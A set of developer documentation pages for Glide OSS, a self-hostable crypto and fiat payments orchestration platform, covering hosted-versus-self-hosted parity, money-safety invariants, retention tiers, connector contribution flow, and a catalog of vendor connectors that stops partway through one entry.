* `@glideco/policy-engine`, `@glideco/schemas`, `@glideco/grant-wrapper`, `@glideco/secrets-scan` — Headless platform
* `@repo/secrets`, `@repo/cli`, `create-glide-app` — self-host quickstart
If a code path runs in Glide Cloud, it runs in your self-hosted deploy too. If a UI screen renders in Glide Cloud, you can render it locally with `GLIDE_USE_MOCK_CONNECTORS=true pnpm --filter web dev`.
## What Glide Cloud runs that you operate yourself
The differences are **operational**, not code-level.
| Layer | Glide Cloud | Self-Hosted |
| --------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------- |
| **Vendor seats** | Glide configures provider integrations. Access depends on account eligibility, partner terms and enabled services. | You bring your own Privy Multi-tenant tenant + each individual vendor contract you want to use. |
| **Managed ops** | We run upgrades, security patches, Postgres backups, Redis failover, Inngest scaling, multi-region failover. | You own uptime + backups + scaling. |
| **Compliance packaging** | Audit-log exports and available vendor compliance artifacts. Request evidence for any certification claim. | You assemble your own compliance bundle from per-connector COMPLIANCE.md + your audit-log retention. |
| **Support + SLAs** | Support and escalation under the terms agreed for your account. | GitHub issues + best-effort. Discord / Slack lands with M5.5+. |
| **Mobile distribution** | Glide Cloud's App Store / Play Store binaries point at our backend. | Self-host = self-build. EAS bakes `EXPO_PUBLIC_API_URL` at build time; you do your own EAS build pointing at your backend. |
| **Trusted Partner program** | The Trusted Partner Agreement has no default participation fee; separately agreed commercial terms may apply. Connector code remains MIT. | Promotion ladder is identical (community → verified → core), but you administer it for your own tenant. |
## Documented parity exceptions
Per the OSS plan §M2 §"Foundational Decisions" + Codex review fix #10, three honest exceptions to "100% code parity":
### 1. Chainalysis live adapter (counsel-blocked redistribution)
**Status:** ⚠️ Conditional. As of M2 ship, the Chainalysis adapter ships in OSS at `packages/connectors/chainalysis/` with a prominent `DISCLAIMER.md` stating users must hold their own Chainalysis contract.
**Risk:** If Chainalysis counsel objects to OSS-distributed adapters that call their API even with the disclaimer, Glide Cloud would continue shipping the live adapter while OSS would ship a skeleton interface + the existing `chainalysis-mock` only. We have not received that objection as of this writing; the live adapter is in OSS today.
**Mitigation if blocked:** OSS users would set `SCREENING_PROVIDER=chainalysis-mock` (deterministic fixtures) or `SCREENING_PROVIDER=permissive` (no-op + red banner) until they implement an alternative `screening` capability (TRM Labs, Elliptic, etc.).
### 2. Privy Multi-tenant requirement (vendor-only OSS)
OSS is Privy-only in v1. There is no `auth-local` / Better-Auth fallback. Self-hosters without a Privy Multi-tenant account cannot run Glide today.
**Why:** Per the M2 OSS plan §11, agent banking's programmable-signing-policy is Privy-specific. The alternative (Turnkey sub-org per entity) forces regulatory re-analysis the OSS plan doesn't want to inherit.
**Future:** If Privy's Multi-tenant product changes pricing or availability, OSS users are exposed. Acceptable trade-off per the ceremony review; documented prominently in `docs/SELF_HOSTING.md`.
### 3. Mobile App Store distribution (platform-controlled)
iOS `DCAppAttestService` + Android Play Integrity require Apple / Google developer accounts AND attestation service setup. Glide Cloud's mobile binaries are signed with our developer accounts; self-hosters need their own.
**Posture:** The `AttestationProvider` capability ships with three implementations: iOS (Apple PKI), Android (Play Integrity), and `none` (red admin banner saying attestation is disabled). Self-hosters who don't run their own EAS build set `ATTESTATION=none`.
**Future:** Once App Store / Play Store policies mature for OSS-flavored fork distribution, this exception narrows. Today the platform-attestation requirement IS the gap.
## What's NOT a parity exception
These are sometimes assumed to be exceptions but are NOT:
* **The Trust Console UI**: the admin activity view is present at `apps/web/src/app/(admin)/admin/agents/activity/`. Access to the source repository is separate from code availability in your checkout.
* **Agent skills marketplace** — already shipped at `apps/web/src/app/(public)/skills/` (PR153). Identical render in Glide Cloud + self-hosted.
* **The MCP gateway** — `apps/mcp/` ships in OSS. Identical wire format (MCP spec 2025-11-25). Identical 22-tool surface.
* **Per-connector trust tiers** — promotion ladder works identically. The promotion *administration* differs (we approve verified-tier on Glide Cloud; you approve verified-tier in your own deployment).
## Versioning + upgrade contract
Self-hosters should track the `main` branch tags. Major-version bumps that change schema or break connector contracts will be called out in `CHANGELOG.md` with explicit migration steps. Migration files under `apps/web/drizzle/*.sql` are the source of truth (NOT `_journal.json`); apply via `bash scripts/run-agent-platform-migrations.sh` per `CLAUDE.md`.
## How we keep this file honest
This file is reviewed every quarter (Glide Cloud release-train) AND on every milestone PR that touches `apps/web` or `packages/connectors//`. If you ever discover a Glide Cloud feature that isn't in OSS, file an issue — the parity commitment is real.
## Reference
* `docs/SELF_HOSTING.md` — operator runbook
* `docs/agents/SELF_HOSTING.md` — agent platform self-host
* `apps/mcp/COMPLIANCE.md` — MCP gateway compliance posture
* `CONTRIBUTING.md` — partner-PR flow + trust tiers
# Money-safety contracts (F-rules)
Source: https://glide-9da73dea.mintlify.app/oss/concepts/money-safety-contracts
The IRON RULE invariants every money-touching path observes. Operators who remove any of them assume liability for the resulting deployment.
Glide's agent platform encodes six named money-safety invariants — the **F-rules**. Every money-touching tool path observes them. They are **architectural commitments**, not optional defenses; operators who fork the platform and remove any rule accept full liability for the resulting deployment.
## The rules
| Rule | What it guarantees | Where in code |
| -------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- |
| **F1** — Server-side RPC verify | `x402.pay` persists `on_chain_tx` from `serverFetchChainTx()` (RPC), NEVER from facilitator receipt. Tampered facilitator-claims REJECTED. | `apps/mcp/src/tools/x402-pay.ts` |
| **F2** — CAS-claim before broadcast | `agent_pending_payments` rows claimed via SQL `UPDATE ... WHERE status='pending' AND claimed_at IS NULL RETURNING id`. Race losers skip. Inngest re-fires never double-broadcast. | Migration `0041_agent_pending_payments.sql` + saga-reaper `0044` |
| **F3** — Fresh-read tenant verification | `@glideco/grant-wrapper` re-reads tenant from DB on every tool invocation. Cached grant alone NEVER authorizes. | `@glideco/grant-wrapper` |
| **F4** — Append-only `activity_log` trigger | UPDATE/DELETE/TRUNCATE rejected unless `app.dsar_context_id` session var set (admin DSAR path only). DSAR UPDATE additionally requires `redacted_fields_bitmap` match. | Migration `0042_activity_log_agent_cols.sql` |
| **F5** — Atomic policy\_version on signer rotation | `vault.rotateSigner` advances `policy_version` in the same transaction as the on-chain rotation. In-flight tool calls see `PolicyStaleError` on the next evaluation. | `apps/web/src/server/lib/agent-multisig/` |
| **F7** — Sigil first-use-only | URL-mode elicitation sigils CAS-claimed on first use; race losers reject. Replay-resistant step-up. | `apps/mcp/src/step-up/` |
(F6 reserved.)
## Why each rule exists
### F1 — Don't trust the receipt; trust the chain.
A facilitator can post a `payments.received` event making it look like settlement happened on-chain when it didn't. F1 says: **persist what the RPC node observed, not what the facilitator claims.** Tamper tests in `apps/mcp/src/tools/__tests__/x402-pay.test.ts` exercise the divergence path.
### F2 — Treat every job re-fire as adversarial.
Inngest re-fires jobs after transient crashes. Without a single-claim guarantee, two workers attempt to broadcast the same payment. F2's CAS-claim closes that window: only the worker that wins `UPDATE ... RETURNING` proceeds.
The saga-reaper (migration `0044`) cleans up workers that crashed AFTER claim but BEFORE broadcast.
### F3 — A grant is a snapshot. Tenant is the source of truth.
Bearer grants are valid until `exp`. Between issue and use, the principal's tenant membership might be revoked, transferred, or suspended. F3 says: **re-read the tenant row on every tool call, before authorizing.** `@glideco/grant-wrapper` is the single point of truth.
### F4 — Audit log integrity is non-negotiable.
A compromised admin or rogue insider could tamper with `activity_log` to hide an exfiltration event. F4 enforces append-only via Postgres trigger. Even admin DSAR redaction requires a session var (`app.dsar_context_id`) AND a `redacted_fields_bitmap` match — historical existence is preserved.
### F5 — Don't sign with a rotated-out key.
A signer rotation transaction advances `policy_version`. Tool calls compare the grant's `policy_version` to current; mismatch → `PolicyStaleError` and the agent re-fetches a fresh grant. Without F5, in-flight tool calls could sign against keys that were rotated out mid-flight.
### F7 — Sigils are single-use.
URL-mode elicitation sigils (the step-up tokens) MUST be CAS-claimed on first use. Without F7, a captured sigil URL could be replayed after the principal completes biometric approval.
## What if I want to disable an F-rule?
Don't.
If you absolutely must — for a fork that's not connected to a real-money corridor, for example — document it explicitly in your `apps/mcp/COMPLIANCE.md` divergence section + bump the `policy_version` to advertise the change. Operators downstream of you need to know.
## Reading list
* [Threat model](/oss/security/threat-model) — STRIDE pass with F-rules as primary mitigations.
* [Agent platform self-host](/oss/headless/self-hosting) — operator-facing F-rule guide.
# Orchestration shell, not a bank stack
Source: https://glide-9da73dea.mintlify.app/oss/concepts/orchestration-shell
Honest positioning for what Glide OSS is and isn't. The code that orchestrates regulated partners — not the partners themselves.
Glide OSS is **a self-hostable orchestration shell**, not a self-hostable bank stack. This page is the source of truth for what that means in practice.
## What you get
* The web app, mobile app, and MCP gateway that orchestrate money movement.
* 21 vendor connectors as MIT-licensed adapters.
* 6 hero agent skills + the partner-PR scaffolding for community contributions.
* 4 Headless platform packages (`policy-engine`, `schemas`, `grant-wrapper`, `secrets-scan`).
* Self-host quickstart (`@repo/cli`, `@repo/secrets`, `create-glide-app`).
* Public standards at [`glide.co/schemas/agent-banking/v1/`](https://glide.co/schemas/agent-banking/v1/).
## What you bring
| Vendor | What they provide | Contract / posture |
| ------------------------------------------ | -------------------------------------------------- | -------------------------------------------------------------------------- |
| **Privy** | Auth + embedded wallets + programmable signing | Multi-tenant tenant required. OSS is Privy-only in v1. |
| **Bridge / Noah / Avenia / IDRX / etc.** | Fiat on/off-ramps + KYC | Per-vendor contracts. Adapters MIT; vendor seats yours. |
| **Chainalysis / TRM / Elliptic** | Sanctions screening | Per-vendor contract. The Chainalysis adapter ships with a `DISCLAIMER.md`. |
| **Coinbase x402 facilitator** *(optional)* | x402 settlement | Required for the x402 payer / recipient flow at M2.5+. |
| **Ory Hydra or BYO OAuth AS** *(optional)* | RFC 7591/8707/9728 OAuth AS for the agent platform | Required for `apps/mcp` production deploy. |
## Why we draw the line here
The OSS Cathedral plan made a deliberate trade-off:
> Glide OSS is the **code** that orchestrates regulated partners — partners still hold all licenses; Glide OSS is the code that orchestrates them. This framing must stay honest in README, SELF\_HOSTING docs, and marketing — calling OSS a "money OS" without surfacing the vendor-lock-in layer creates trust debt.
The alternative ("bake every regulated counterparty into OSS") fails for three reasons:
1. **Vendor licenses are not transferable.** Bridge's MSB license, Noah's vendor agreements, Chainalysis's data-sharing terms — none of these can be redistributed under MIT. The vendor relationship has to live with the operator.
2. **Compliance isn't code.** SOC 2, regulatory examinations, KYC due diligence, off-chain settlement contracts — all of this is the operator's burden. Code can't carry it.
3. **The flywheel works at the orchestration layer.** Glide's wedge is "an MIT-licensed orchestration shell every regulated partner can integrate with for free." If we tried to be every partner, we'd compete with our own ecosystem.
## Three documented parity exceptions
Even with this honest framing, there are three places where "100% code parity between Glide Cloud and self-hosted" needs explicit asterisks. See [Hosted vs self-hosted](/oss/concepts/hosted-vs-self-hosted) for the current status of each:
1. **Chainalysis live adapter (counsel-blocked redistribution).** Status: shipping in OSS as of M2; mitigation if blocked is the existing `chainalysis-mock` + the `permissive` fallback.
2. **Privy Multi-tenant requirement (vendor-only OSS).** Self-hosters without a Privy account cannot run Glide today.
3. **Mobile App Store distribution (platform-controlled).** Apple / Google developer accounts + attestation services aren't transferable to OSS forks.
## Reading list
* [Self-host guide](/oss/self-hosting) — operator runbook.
* [Hosted vs self-hosted](/oss/concepts/hosted-vs-self-hosted) — explicit parity table.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — the F-rules every money-touching path observes.
# Retention tiers
Source: https://glide-9da73dea.mintlify.app/oss/concepts/retention-tiers
How activity_log rows age across Hot, Warm, Cold, and Regulatory tiers. Per-entity policy. Nightly Inngest sweep.
Activity log rows accumulate; storage costs grow linearly with traffic.
Glide OSS organizes rows into four retention tiers per OSS plan §M4,
configurable per entity:
| Tier | Configured age band | Intended storage |
| ---------- | ------------------------------ | ------------------ |
| Hot | 0–7 days | Postgres |
| Warm | 7–90 days | Compressed storage |
| Cold | 90 days–1 year | Archive storage |
| Regulatory | 1–7 years, disabled by default | Deep archive |
The OSS plan rationale: most operators don't need the regulatory tier;
turning it on commits to a multi-year retention obligation that's
expensive + GDPR-tense (longer retention = more rows the user can
demand redaction on). The default is off; operators in jurisdictions
that require it (US FinCEN, EU AMLD) flip it on per entity.
## Implementation status
The `retention-tier-sweep` function is scheduled daily at 03:00 UTC, but returns `status: 'skipped'` with `reason: 'retention_enforcement_not_deployed'`. It does not archive, delete or mark rows as transitioned.
The age bands above describe configuration targets. The previous count-and-timestamp implementation was removed because it suggested that retention had occurred. Do not treat the schedule, configured thresholds or old sweep timestamps as evidence of archival or deletion.
## Configuring per entity
Admins use the `/admin/retention` UI:
```
Hot tier (days) [ 7 ]
Warm tier (days) [ 90 ]
Cold tier (days) [365 ]
Regulatory tier (days) [2555] [ ] Enable regulatory tier
Notes [ ]
```
The values are validated server-side: `hot < warm < cold` is required;
`regulatory > cold` if `regulatoryEnabled = true`. Stored sweep timestamps do not establish that retention enforcement ran.
## DSAR + retention interaction
Retention configuration expresses intended age bands; enforcement is currently disabled.
The DSAR redaction workflow (`/admin/dsar`) is the *lower* bound — a
right-to-redaction request can flag fields as `[REDACTED]` regardless
of which tier the row is in. The append-only-trigger pattern guarantees
the row's existence stays for audit-log integrity even after redaction.
See [DSAR redaction workflow](/oss/concepts/money-safety-contracts)
for the full picture.
## Reading list
* [Money-safety contracts](/oss/concepts/money-safety-contracts) —
the F-rules around append-only `activity_log`.
* [Receipt schema](/oss/standards/receipt) — what's in each row.
* Source: `apps/web/drizzle/0048_retention_tier_config.sql` +
`apps/web/src/inngest/functions/retention-tier-sweep.ts`.
# Adding a connector
Source: https://glide-9da73dea.mintlify.app/oss/connectors/extending
Partner-PR flow for adding a new vendor adapter at packages/connectors//. Trust tiers, 8-gate CI matrix, scaffolding, contract tests.
Extending Glide with a new vendor connector is a five-step partner-PR flow. The full source of truth is [`CONTRIBUTING.md`](https://github.com/darshanbathija/axtior-neobank/blob/main/CONTRIBUTING.md); this page summarizes the connector-specific path.
## Trust tiers
| Tier | When |
| ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `community` | Any first PR. Off by default; requires `GLIDE_ALLOW_COMMUNITY_CONNECTORS=true` + a red admin banner. Open contribution; no signed agreement required. |
| `verified` | Reviewed against the Verified-tier checklist + accepted Trusted Partner Agreement. Ships enabled with per-tenant opt-in. Tier promotion is a separate PR. |
| `core` | Glide-maintained reference implementations. Tier promotion requires CODEOWNERS approval. |
## Five-step flow
Use the [`new-connector` issue template](https://github.com/darshanbathija/axtior-neobank/issues/new?template=new-connector.yml) so we can flag any compliance / regulatory concerns before you write code. Include vendor name, slug, capabilities, regions, regulatory posture, and rationale.
Capability contracts live at `packages/connectors/_base/src/capabilities/`. Pick the subset your vendor implements:
* `orchestration` — fiat ↔ crypto conversion.
* `kyc` — identity verification.
* `card` — card issuance.
* `screening` — sanctions / AML lookup.
* `chain-receipt` — on-chain confirmation reads.
* `balance` — multi-chain balance reads.
* `auth` — token verification.
* `banking` — direct bank-rail (ACH / wire / SWIFT).
* `qr-gateway` — QR-code merchant payments.
* And 5 more (oauth-authorization-server, attestation, merkle-anchor, timelock-module, recovery).
```
packages/connectors//
├── package.json
├── tsconfig.json
├── eslint.config.mjs
├── icon.svg
├── README.md
├── COMPLIANCE.md
├── DISCLAIMER.md (required if vendor ToS is unclear on adapter redistribution)
├── src/
│ ├── manifest.ts // ConnectorManifest (Zod-validated)
│ ├── credentials.ts // Zod schema for env keys
│ ├── legacy.ts // adapter implementation
│ └── __tests__/
│ └── contract.test.ts
```
Or use the CLI:
```bash theme={null}
glide partner submit ./my-connector --type=connector
```
Extend `ContractTestSuite` from `@repo/connectors-base`:
```ts theme={null}
import { ContractTestSuite } from '@repo/connectors-base';
import { manifest } from '../manifest';
import { MyVendorAdapter } from '../legacy';
class MyVendorSuite extends ContractTestSuite {
readonly manifest = manifest;
readonly runtime = {
orchestration: new MyVendorAdapter(),
};
}
```
The test asserts manifest validity + capability presence + egress-host invariant (every host the connector touches must appear in `manifest.egressHosts`).
All eight CI gates must pass:
1. DCO sign-off check.
2. Signed-commits check (Verified tier and above).
3. Manifest schema validation.
4. Contract-test runner.
5. License scan (`.github/workflows/license-scan.yml`).
6. Supply-chain scan (`.github/workflows/supply-chain-scan.yml`).
7. Egress-host lint (`.github/workflows/egress-host-lint.yml`).
8. Compliance review (counsel sign-off for verified-tier promotions).
See [License compatibility](/oss/security/license-compatibility) for the matrix.
## Review SLA
* Community-tier: 5 business days.
* Verified-tier promotion: 10 business days (includes Trusted Partner Agreement review).
## Reading list
* [Connector catalog](/oss/connectors/index) — every connector currently in the repo.
* [License compatibility](/oss/security/license-compatibility) — accept / warn / block matrix.
* [Threat model](/oss/security/threat-model) — T7 (malicious connector PR).
# Connectors
Source: https://glide-9da73dea.mintlify.app/oss/connectors/index
Catalog of 21 vendor connectors. Each connector ships under MIT with a manifest, contract test, README, and COMPLIANCE.md.
Source-repository links require access to the private `glide-co/glide-mono` repository. Request access from Glide if a source link is unavailable.
Auto-generated by `scripts/generate-catalog-docs.mjs` from each `packages/connectors//src/manifest.ts`. Don't edit by hand — re-run the script.
This catalog lists **21** connectors.
Connector regions and currencies describe adapter capabilities. They do not establish live consumer availability. Personal fiat routes currently enable USD ACH/Fedwire and EUR SEPA; other Noah channels appear only when available at runtime. See [Deposits](/money/deposits) and [Send money](/money/send).
| Slug | Vendor | Capabilities | Trust | Regions | isMock |
| ----------------------------------------------------------------------------------------------------------------------------- | -------------------- | ------------------------- | ----------- | -------------------------- | ------ |
| [`aeon`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/aeon/README.md) | aeon | qr-gateway, orchestration | `core` | VN, PH, BR, NG, MX, BD, ZM | |
| [`alchemy`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/alchemy/README.md) | alchemy | balance, chain-receipt | `core` | \* | |
| [`avenia`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/avenia/README.md) | avenia | orchestration | `core` | BR | |
| [`binance-pay`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/binance-pay/README.md) | binance\_pay | orchestration | `core` | \* | |
| [`bridge`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/bridge/README.md) | bridge | orchestration, kyc, card | `core` | US, EU, GB, LATAM, APAC | |
| [`bridge-mock`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/bridge-mock/README.md) | bridge | orchestration, kyc, card | `core` | \* | ✅ |
| [`chainalysis`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/chainalysis/README.md) | chainalysis | screening | `core` | \* | |
| [`chainalysis-mock`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/chainalysis-mock/README.md) | chainalysis | screening | `core` | \* | ✅ |
| [`column`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/column/README.md) | column | banking | `core` | US | |
| [`due`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/due/README.md) | due | orchestration, kyc | `core` | EU, GB, US | |
| [`gnosis-pay`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/gnosis-pay/README.md) | gnosis\_pay | card, kyc | `core` | EU, GB | |
| [`idrx`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/idrx/README.md) | idrx | orchestration | `core` | ID | |
| [`manteca`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/manteca/README.md) | manteca | qr-gateway, orchestration | `core` | AR | |
| [`monerium`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/monerium/README.md) | monerium | orchestration, kyc | `core` | EU | |
| [`noah`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/noah/README.md) | noah | orchestration, kyc | `core` | \* | |
| [`noah-mock`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/noah-mock/README.md) | noah | orchestration, kyc | `core` | \* | ✅ |
| [`paytrie`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/paytrie/README.md) | paytrie | orchestration | `core` | CA | |
| [`privy`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/privy/README.md) | privy | auth | `core` | \* | |
| [`rpc-direct`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/rpc-direct/README.md) | rpc-direct | balance | `core` | \* | |
| [`sanctions-permissive`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/sanctions-permissive/README.md) | sanctions-permissive | screening | `community` | \* | ✅ |
| [`wirex`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/wirex/README.md) | wirex | card, kyc | `core` | EU, GB | |
## Per-connector compliance
Every connector ships a `COMPLIANCE.md` documenting AML posture, regulatory counterparty, data residency, and operator responsibility. Connectors whose vendor ToS is unclear on adapter redistribution also ship a `DISCLAIMER.md` (Chainalysis is the canonical example).
### aeon
* **Display name:** Aeon Payment Gateway
* **Vendor:** aeon
* **Trust tier:** `core`
* **Capabilities:** `qr-gateway`, `orchestration`
* **Regions:** VN, PH, BR, NG, MX, BD, ZM
* **Currencies:** USDC, VND, PHP, BRL, NGN, MXN, BDT, ZMW
* **Egress hosts:** `crypto-payment-api.aeon.xyz`, `ai-api-sbx.aeon.xyz`
* **AML posture:** `pass-through`
* **Source:** [`packages/connectors/aeon/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/aeon/)
* **Compliance:** [`packages/connectors/aeon/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/aeon/COMPLIANCE.md)
### alchemy
* **Display name:** Alchemy
* **Vendor:** alchemy
* **Trust tier:** `core`
* **Capabilities:** `balance`, `chain-receipt`
* **Regions:** \*
* **Currencies:** USDC, USDT, EURC, ETH, SOL, MATIC, BNB
* **Egress hosts:** `eth-mainnet.g.alchemy.com`, `base-mainnet.g.alchemy.com`, `arb-mainnet.g.alchemy.com`, `polygon-mainnet.g.alchemy.com`, `bnb-mainnet.g.alchemy.com`, `solana-mainnet.g.alchemy.com`
* **Source:** [`packages/connectors/alchemy/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/alchemy/)
* **Compliance:** [`packages/connectors/alchemy/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/alchemy/COMPLIANCE.md)
### avenia
* **Display name:** Avenia
* **Vendor:** avenia
* **Trust tier:** `core`
* **Capabilities:** `orchestration`
* **Regions:** BR
* **Currencies:** BRL, USDC
* **Egress hosts:** `api.avenia.io`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/avenia/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/avenia/)
* **Compliance:** [`packages/connectors/avenia/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/avenia/COMPLIANCE.md)
### binance-pay
* **Display name:** Binance Pay
* **Vendor:** binance\_pay
* **Trust tier:** `core`
* **Capabilities:** `orchestration`
* **Regions:** \*
* **Currencies:** USDC, USDT, BUSD, BNB
* **Egress hosts:** `bpay.binanceapi.com`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/binance-pay/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/binance-pay/)
* **Compliance:** [`packages/connectors/binance-pay/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/binance-pay/COMPLIANCE.md)
### bridge
* **Display name:** Bridge
* **Vendor:** bridge
* **Trust tier:** `core`
* **Capabilities:** `orchestration`, `kyc`, `card`
* **Regions:** US, EU, GB, LATAM, APAC
* **Currencies:** USD, EUR, GBP, USDC, USDT
* **Egress hosts:** `api.bridge.xyz`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/bridge/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/bridge/)
* **Compliance:** [`packages/connectors/bridge/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/bridge/COMPLIANCE.md)
### bridge-mock
* **Display name:** Bridge (mock)
* **Vendor:** bridge
* **Trust tier:** `core`
* **Capabilities:** `orchestration`, `kyc`, `card`
* **Regions:** \*
* **Currencies:** USD, EUR, USDC, USDT
* **Egress hosts:** *(none — no network access at runtime)*
* **Source:** [`packages/connectors/bridge-mock/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/bridge-mock/)
* **Compliance:** [`packages/connectors/bridge-mock/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/bridge-mock/COMPLIANCE.md)
### chainalysis
* **Display name:** Chainalysis
* **Vendor:** chainalysis
* **Trust tier:** `core`
* **Capabilities:** `screening`
* **Regions:** \*
* **Currencies:** \*
* **Egress hosts:** `public.chainalysis.com`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/chainalysis/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/chainalysis/)
* **Compliance:** [`packages/connectors/chainalysis/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/chainalysis/COMPLIANCE.md)
### chainalysis-mock
* **Display name:** Chainalysis (mock)
* **Vendor:** chainalysis
* **Trust tier:** `core`
* **Capabilities:** `screening`
* **Regions:** \*
* **Currencies:** \*
* **Egress hosts:** *(none — no network access at runtime)*
* **Source:** [`packages/connectors/chainalysis-mock/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/chainalysis-mock/)
* **Compliance:** [`packages/connectors/chainalysis-mock/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/chainalysis-mock/COMPLIANCE.md)
### column
* **Display name:** Column
* **Vendor:** column
* **Trust tier:** `core`
* **Capabilities:** `banking`
* **Regions:** US
* **Currencies:** USD
* **Egress hosts:** `api.column.com`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/column/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/column/)
* **Compliance:** [`packages/connectors/column/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/column/COMPLIANCE.md)
### due
* **Display name:** Due
* **Vendor:** due
* **Trust tier:** `core`
* **Capabilities:** `orchestration`, `kyc`
* **Regions:** EU, GB, US
* **Currencies:** USD, EUR, GBP, USDC
* **Egress hosts:** `api.due.network`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/due/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/due/)
* **Compliance:** [`packages/connectors/due/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/due/COMPLIANCE.md)
### gnosis-pay
* **Display name:** Gnosis Pay
* **Vendor:** gnosis\_pay
* **Trust tier:** `core`
* **Capabilities:** `card`, `kyc`
* **Regions:** EU, GB
* **Currencies:** EUR, USDC, EURE
* **Egress hosts:** `api.gnosispay.com`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/gnosis-pay/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/gnosis-pay/)
* **Compliance:** [`packages/connectors/gnosis-pay/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/gnosis-pay/COMPLIANCE.md)
### idrx
* **Display name:** IDRX
* **Vendor:** idrx
* **Trust tier:** `core`
* **Capabilities:** `orchestration`
* **Regions:** ID
* **Currencies:** IDR, USDC, IDRX
* **Egress hosts:** `idrx.co`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/idrx/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/idrx/)
* **Compliance:** [`packages/connectors/idrx/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/idrx/COMPLIANCE.md)
### manteca
* **Display name:** Manteca (Transferencias 3.0)
* **Vendor:** manteca
* **Trust tier:** `core`
* **Capabilities:** `qr-gateway`, `orchestration`
* **Regions:** AR
* **Currencies:** USDC, ARS
* **Egress hosts:** `api.manteca.dev`
* **AML posture:** `pass-through`
* **Source:** [`packages/connectors/manteca/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/manteca/)
* **Compliance:** [`packages/connectors/manteca/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/manteca/COMPLIANCE.md)
### monerium
* **Display name:** Monerium
* **Vendor:** monerium
* **Trust tier:** `core`
* **Capabilities:** `orchestration`, `kyc`
* **Regions:** EU
* **Currencies:** EUR, EURE, USDC
* **Egress hosts:** `api.monerium.app`, `api.monerium.dev`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/monerium/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/monerium/)
* **Compliance:** [`packages/connectors/monerium/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/monerium/COMPLIANCE.md)
### noah
* **Display name:** Noah
* **Vendor:** noah
* **Trust tier:** `core`
* **Capabilities:** `orchestration`, `kyc`
* **Regions:** \*
* **Currencies:** USD, EUR, GBP, USDC, USDT
* **Egress hosts:** `api.noah.com`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/noah/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/noah/)
* **Compliance:** [`packages/connectors/noah/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/noah/COMPLIANCE.md)
### noah-mock
* **Display name:** Noah (mock)
* **Vendor:** noah
* **Trust tier:** `core`
* **Capabilities:** `orchestration`, `kyc`
* **Regions:** \*
* **Currencies:** USD, EUR, GBP, USDC, USDT
* **Egress hosts:** *(none — no network access at runtime)*
* **Source:** [`packages/connectors/noah-mock/`](https://github.com/glide-co/glide-mono/tree/main/packages/connectors/noah-mock/)
* **Compliance:** [`packages/connectors/noah-mock/COMPLIANCE.md`](https://github.com/glide-co/glide-mono/blob/main/packages/connectors/noah-mock/COMPLIANCE.md)
### paytrie
* **Display name:** Paytrie
* **Vendor:** paytrie
* **Trust tier:** `core`
* **Capabilities:** `orchestration`
* **Regions:** CA
* **Currencies:** CAD, USDC, CADC
